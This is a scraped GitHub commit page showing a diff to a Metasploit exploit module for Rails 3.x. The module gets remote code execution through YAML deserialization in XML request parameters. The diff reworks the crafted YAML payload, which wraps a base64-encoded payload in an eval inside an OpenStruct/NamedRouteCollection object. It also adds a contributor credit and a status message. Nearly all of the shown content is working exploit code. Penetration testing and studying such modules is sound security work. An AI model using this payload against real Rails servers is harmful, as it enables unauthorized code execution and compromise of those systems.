Skip to content

Commit acabc14

Browse files
author
HD Moore
committed
This restores functionality across all rails 3.x
1 parent 0e92de8 commit acabc14

File tree

1 file changed

+7
-3
lines changed

1 file changed

+7
-3
lines changed

modules/exploits/multi/http/rails_xml_yaml_code_exec.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,8 @@ def initialize(info = {})
2727
'charlisome', # PoC
2828
'espes', # PoC and Metasploit module
2929
'toothfairy', # Anonymous contributor
30-
'hdm' # Module merge/conversion/payload work
30+
'hdm', # Module merge/conversion/payload work
31+
'Postmodern' # The __END__ trick from https:https://gist.github.com/4499206//gist.github.com/4499206
3132
],
3233
'License' => MSF_LICENSE,
3334
'References' =>
@@ -87,8 +88,10 @@ def build_yaml
8788
code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
8889
yaml =
8990
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
90-
"'; (eval(%[#{code}].unpack(%[m0])[0]); @e=true) unless @e #':" +
91-
" !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
91+
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
92+
"eval(%[#{code}].unpack(%[m0])[0]);' " +
93+
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
94+
yaml
9295
end
9396

9497

@@ -137,6 +140,7 @@ def build_request
137140
#
138141
def exploit
139142
data = build_request
143+
print_status("Sending #{data.length} bytes to #{rhost}:#{rport}...")
140144
res = send_request_cgi({
141145
'uri' => datastore['URIPATH'] || "/",
142146
'method' => datastore['HTTP_METHOD'],

0 commit comments

Comments
 (0)